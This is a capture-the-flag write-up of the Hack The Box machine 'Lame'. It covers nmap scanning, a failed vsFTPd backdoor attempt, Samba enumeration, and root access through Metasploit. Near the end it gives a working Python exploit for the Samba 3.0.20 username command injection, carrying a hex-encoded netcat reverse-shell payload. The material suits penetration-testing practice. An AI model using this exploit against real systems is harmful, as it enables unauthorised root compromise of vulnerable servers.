I started by adding Lames IP address 10.10.10.3 to /etc/hosts as lame.htb.
I followed this up with a fast nmap scan of the top 1000 ports, followed by a fast scan of all ports.
This gave me a good starting point, I then used nmap to do a more thorough scan on just these ports, providing the following output:
# Nmap 7.80 scan initiated Sat Apr 18 20:29:37 2020 as: nmap -A -p 21,22,139,445,3632 -oN nmap.txt lame.htb Nmap scan report for lame.htb (10.10.10.3) Host is up (0.016s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.14.24 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: WAP|broadband router|general purpose|remote management Running (JUST GUESSING): Linksys embedded (93%), Linux 2.4.X|2.6.X (92%), Arris embedded (92%), Dell iDRAC 6 (92%), Belkin embedded (90%), Dell embedded (90%) OS CPE: cpe:/h:linksys:wrv54g cpe:/o:linux:linux_kernel:2.4 cpe:/o:linux:linux_kernel:2.6 cpe:/o:dell:idrac6_firmware cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:belkin:n300 cpe:/h:dell:remote_access_card:5 Aggressive OS guesses: Linksys WRV54G WAP (93%), OpenWrt 0.9 - 7.09 (Linux 2.4.30 - 2.4.34) (92%), Arris TG562G/CT cable modem (92%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%), Linux 2.6.8 - 2.6.30 (92%), Dell iDRAC 6 remote access controller (Linux 2.6) (92%), Linux 2.4.7 (91%), OpenWrt Kamikaze 7.09 (Linux 2.6.22) (90%), Belkin N300 WAP (Linux 2.6.30) (90%), Dell Integrated Remote Access Controller (iDRAC5) (90%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_ms-sql-info: ERROR: Script execution failed (use -d to debug) |_smb-os-discovery: ERROR: Script execution failed (use -d to debug) |_smb-security-mode: ERROR: Script execution failed (use -d to debug) |_smb2-time: Protocol negotiation failed (SMB2) TRACEROUTE (using port 21/tcp) HOP RTT ADDRESS 1 16.31 ms 10.10.14.1 2 16.68 ms lame.htb (10.10.10.3) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Apr 18 20:30:33 2020 -- 1 IP address (1 host up) scanned in 55.89 seconds
My first thought was great! – vsFTPd 2.3.4 has a known backdoor! I fired up metasploit to take advantage of this; however the exploit was unsuccessful.
After this I had a look around on the ftp server but found nothing useful. With no success here I decided to try SMB, I used smbmap to enumerate the service.
I have read and write access to tmp, but more interestingly I have an exact version of the service – Samba 3.0.20. I used searchsploit to check for any known exploits to this version.
There appears to be a command execution exploit with a metasploit module – excellent! I configured metasploit to run against the target and was granted a root shell!
Ok, so I’ve figured out what it’s vulnerability is but I don’t want to stop there, I want to understand it too, I did a little research into how it works; in a nutshell if a user inputs shellcode into the username field when logging in they can leverage command injection.
I found a git repository with some python code for SMB connections which I can use to create my attack at https://gist.github.com/joselitosn/e74dbc2812c6479d3678
I used msfvenom to create a payload for a reverse tcp shell.
I then downloaded the required python repo – smbpy using pip3 install smbpy and created an exploit using the code from github and my generated shellcode.
from smb.SMBConnection import SMBConnection buf = "" buf += "\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x7a" buf += "\x64\x70\x6a\x3b\x20\x6e\x63\x20\x31\x30\x2e\x31\x30" buf += "\x2e\x31\x34\x2e\x32\x34\x20\x39\x30\x30\x31\x20\x30" buf += "\x3c\x2f\x74\x6d\x70\x2f\x7a\x64\x70\x6a\x20\x7c\x20" buf += "\x2f\x62\x69\x6e\x2f\x73\x68\x20\x3e\x2f\x74\x6d\x70" buf += "\x2f\x7a\x64\x70\x6a\x20\x32\x3e\x26\x31\x3b\x20\x72" buf += "\x6d\x20\x2f\x74\x6d\x70\x2f\x7a\x64\x70\x6a" username = "/=`nohup " + buf + "`" password = "" conn = SMBConnection(username, password, "", "lame") conn.connect("lame.htb", 445)
I set up a listener and ran my exploit code, once again granting me root access – this time with no metasploit!